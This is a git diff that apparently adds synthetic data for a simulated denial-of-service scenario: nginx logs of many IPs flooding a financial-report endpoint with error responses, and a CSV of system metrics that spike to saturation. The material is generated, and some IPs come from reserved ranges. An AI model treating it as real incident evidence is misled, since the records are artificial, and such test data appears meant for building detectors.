[15/Aug/2025:10:05:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:25 postgres[5678]: LOG: process 14251 still waiting for ShareLock on transaction 5784 after 1000.125 ms +Aug 15 10:05:30 nginx[80]: 77.238.64.157 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 117.119.13.79 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:30 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:05:35 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:05:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:35 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:05:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:35 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:05:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:35 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:05:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:35 nginx[80]: 103.157.153.134 - - [15/Aug/2025:10:05:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:40 nginx[80]: 219.215.112.2 - - [15/Aug/2025:10:05:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:40 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:05:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:40 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:05:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:40 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:05:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:40 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:05:45 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:05:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:45 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:05:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:45 nginx[80]: 221.45.145.143 - - [15/Aug/2025:10:05:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:45 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:05:50 nginx[80]: 113.59.203.138 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 66.245.115.221 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:50 postgres[5678]: LOG: process 19432 still waiting for ShareLock on transaction 5661 after 1000.125 ms +Aug 15 10:05:55 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:05:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:55 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:05:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:55 nginx[80]: 207.77.242.110 - - [15/Aug/2025:10:05:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:55 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:05:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:00 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:06:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:00 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:06:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:00 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:06:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:00 nginx[80]: 117.119.13.79 - - [15/Aug/2025:10:06:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:00 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:06:00 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:06:05 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:06:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:05 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:06:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:05 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:06:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:05 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:06:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:05 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:06:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:10 nginx[80]: 95.58.2.112 - - [15/Aug/2025:10:06:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:10 nginx[80]: 66.245.115.221 - - [15/Aug/2025:10:06:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:10 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:06:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:10 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:06:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 113.59.203.138 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:06:15 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:06:15 postgres[5678]: LOG: process 17645 still waiting for ShareLock on transaction 5119 after 1000.125 ms +Aug 15 10:06:20 nginx[80]: 98.200.217.253 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:20 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:20 nginx[80]: 219.215.112.2 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:20 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:20 nginx[80]: 134.240.105.194 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:06:20 nginx[80]: 6.175.20.195 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:20 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:06:25 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:06:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:25 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:06:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:25 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:06:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:06:30 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:06:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:30 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:06:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:30 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:06:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:30 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:06:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:30 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:06:35 nginx[80]: 77.238.64.157 - - [15/Aug/2025:10:06:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:35 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:06:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:35 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:06:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:40 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:06:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:40 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:06:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:40 nginx[80]: 103.76.138.72 - - [15/Aug/2025:10:06:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:40 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:06:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:40 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:06:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:40 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:06:40 postgres[5678]: LOG: process 15792 still waiting for ShareLock on transaction 5933 after 1000.125 ms +Aug 15 10:06:45 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 221.45.145.143 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 103.76.138.72 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 82.10.234.79 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:45 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:06:50 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:06:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:50 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:06:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:50 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:06:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:50 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:06:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:50 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:06:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:55 nginx[80]: 162.187.29.143 - - [15/Aug/2025:10:06:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:55 nginx[80]: 92.57.53.121 - - [15/Aug/2025:10:06:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:06:55 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:06:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:55 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:06:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:00 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:07:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:00 nginx[80]: 162.187.29.143 - - [15/Aug/2025:10:07:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:07:00 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:07:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:07:00 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:07:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:00 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:07:00 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:07:05 nginx[80]: 22.36.52.200 - - [15/Aug/2025:10:07:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:05 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:07:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:05 nginx[80]: 103.157.153.134 - - [15/Aug/2025:10:07:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:07:05 postgres[5678]: LOG: process 15854 still waiting for ShareLock on transaction 5666 after 1000.125 ms +Aug 15 10:07:10 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:10 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:10 nginx[80]: 134.240.105.194 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:10 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:10 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:10 nginx[80]: 7.4.125.149 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:15 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:07:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:15 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:07:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:07:15 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:07:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:15 nginx[80]: 6.175.20.195 - - [15/Aug/2025:10:07:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:15 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:07:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:15 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:07:20 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:07:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:07:20 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:07:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:20 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:07:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:20 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:07:25 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:25 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:25 nginx[80]: 98.200.217.253 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:25 nginx[80]: 57.62.203.214 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:25 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:07:25 nginx[80]: 66.245.115.221 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" diff --git a/mali_dataset/scenario_12/mali_12_4.csv b/mali_dataset/scenario_12/mali_12_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..dfcee7d5af7de7a36fc90fa7b5cef42583d825aa --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.198372268425274,35.452404069696854,38.787615858311675,0.8812122737532527,0.9777552713312481 +2025-07-02T12:00:05Z,17.01932165923042,39.73532682940362,19.07102434533553,1.110029252597911,0.6865709333006471 +2025-07-02T12:00:10Z,13.347979322614826,29.96595755776673,32.390654498986976,0.8198158393127034,0.584401329670965 +2025-07-02T12:00:15Z,10.981672923854926,39.053118670030194,18.39577731524971,0.841205365628558,0.9323505765462826 +2025-07-02T12:00:20Z,10.898132647498105,42.310123175103925,14.989741493703562,0.9581510395812323,0.5630298543716554 +2025-07-02T12:00:25Z,16.796764880956445,45.25638377833267,19.636406277201566,0.8431263526912971,1.07019410598523 +2025-07-02T12:00:30Z,11.918605690704123,36.599851334708966,30.611702522840478,0.848632423552687,0.7604467983490424 +2025-07-02T12:00:35Z,14.60268494527812,43.33987518987334,28.07643341366956,0.92413526832654,0.8827551983118049 +2025-07-02T12:00:40Z,17.17357064558842,39.70448809026406,26.86328397304132,0.80102339776904,0.9115745823379303 +2025-07-02T12:00:45Z,15.395239386522338,32.046782433350344,36.08095643073429,0.6628220281771078,1.102484528016265 +2025-07-02T12:00:50Z,15.254814857517468,34.16760402703486,43.93243220829023,0.7886882753209691,0.8586705594328671 +2025-07-02T12:00:55Z,20.94220594462812,40.675154792685504,16.93193595788023,1.3714552955124542,1.0291365079381891 +2025-07-02T12:01:00Z,19.46165844564582,33.81232288670577,33.66798638783966,0.982271009475884,0.6223813126725142 +2025-07-02T12:01:05Z,16.822211125502633,40.477769725688745,25.838148490343418,0.7693506284635039,0.7648094891453169 +2025-07-02T12:01:10Z,16.61367511610371,31.29180562113941,26.768184852488936,0.9165025755341414,0.8156727897153861 +2025-07-02T12:01:15Z,14.836874793624817,40.97649577826281,29.201864814348426,0.8931498189372544,1.049125109325063 +2025-07-02T12:01:20Z,14.806112070374928,38.27320731011045,25.709663196087288,1.0823300840652144,0.6008867237944179 +2025-07-02T12:01:25Z,13.297491538692196,32.8775322196788,40.23962861911343,0.9876201004524353,1.054314115340037 +2025-07-02T12:01:30Z,11.093735559457961,39.67680110854949,42.736749561080146,1.2102322150263947,0.9565960906482549 +2025-07-02T12:01:35Z,18.25426091201419,40.14393761264737,29.389103058631825,0.7129754304146113,0.98907018630319 +2025-07-02T12:01:40Z,18.11880254639643,35.970039349344084,35.96996672695592,0.9218486191392972,0.7407715576733765 +2025-07-02T12:01:45Z,12.451465960135954,32.08566862136206,36.51239371751683,0.726077992302496,0.9609342194223368 +2025-07-02T12:01:50Z,14.550401906281463,48.60687272721776,41.67339606894402,1.1018685993601705,0.904658062082749 +2025-07-02T12:01:55Z,12.127400325985136,34.08032315443358,33.587895931264356,0.8720174495711047,1.0996748350255114 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+2025-07-02T12:03:20Z,99.1214241409966,90.9002644673195,348.9415907307165,14.73668740645417,0.8386163263429149 +2025-07-02T12:03:25Z,99.8990410582875,94.37683184800115,283.3895829618987,12.452444138215947,1.5564474539464217 +2025-07-02T12:03:30Z,99.95891828957359,85.17215170892925,204.36871512466098,14.003390227431058,1.9315418898590104 +2025-07-02T12:03:35Z,98.77452263653281,93.32594864765603,212.01891804308858,14.751911820164992,1.6107069922679487 +2025-07-02T12:03:40Z,99.06456100079741,89.2443297278648,206.76795646366185,14.94494678287301,1.5843764967653848 +2025-07-02T12:03:45Z,99.96098140580408,89.13571356892396,204.6389280300422,14.626910461205037,2.3798449311881233 +2025-07-02T12:03:50Z,98.03655096906758,93.56892988827818,253.00761032144678,10.259198895940749,1.7427477930846462 +2025-07-02T12:03:55Z,99.91939967330045,92.11876679220607,277.1746886641066,15.355550938343173,1.70694094814488 +2025-07-02T12:04:00Z,99.85526783688822,92.5359366163646,200.50459164750447,16.322330169860628,3.5015960739814105 +2025-07-02T12:04:05Z,98.00316770136574,93.54126597014246,282.5197914761178,16.97727101107291,2.6003768161160794 +2025-07-02T12:04:10Z,99.86327122362624,93.77636025458933,291.1452223941441,19.59609519012425,2.4085057078424428 +2025-07-02T12:04:15Z,99.44624081478192,93.88269417319404,201.99028911854924,13.925107448494494,2.5717878179121034 +2025-07-02T12:04:20Z,98.95954860276721,90.8824794170007,345.2761988731955,17.926214102413546,2.4825367763590114 +2025-07-02T12:04:25Z,98.89368249922713,86.21568363572953,341.92326426769114,16.637315310636133,1.6842601396083292 +2025-07-02T12:04:30Z,99.78351241569668,93.61032629608111,289.95956705943513,15.37507535315873,1.0867656513826516 +2025-07-02T12:04:35Z,98.15771452286724,93.41867030608263,226.6389220368743,11.86343122246789,1.946025268479053 +2025-07-02T12:04:40Z,98.2839437900827,91.42435263237616,238.6654399347978,17.746611965385245,1.8382988747776956 +2025-07-02T12:04:45Z,99.60657869482671,86.76216271434505,309.16723445958974,15.793880416992009,1.1334724206541136 +2025-07-02T12:04:50Z,98.69491720415617,91.7741788976686,329.06688997139963,16.140745974835617,1.290319646453325 +2025-07-02T12:04:55Z,98.68129629888261,90.18001175542578,270.91050090447783,13.647827664221097,1.2724916620682967 +2025-07-02T12:05:00Z,99.99541253304179,88.49895279470715,218.94854177868652,12.899378214877459,2.5656401361762535 +2025-07-02T12:05:05Z,99.93081090482956,87.80567522525705,349.5132622575773,15.358428194585574,1.8928377889905523 +2025-07-02T12:05:10Z,98.87177269205813,91.76359355531211,309.5536530908212,16.93310919547836,2.370396305880743 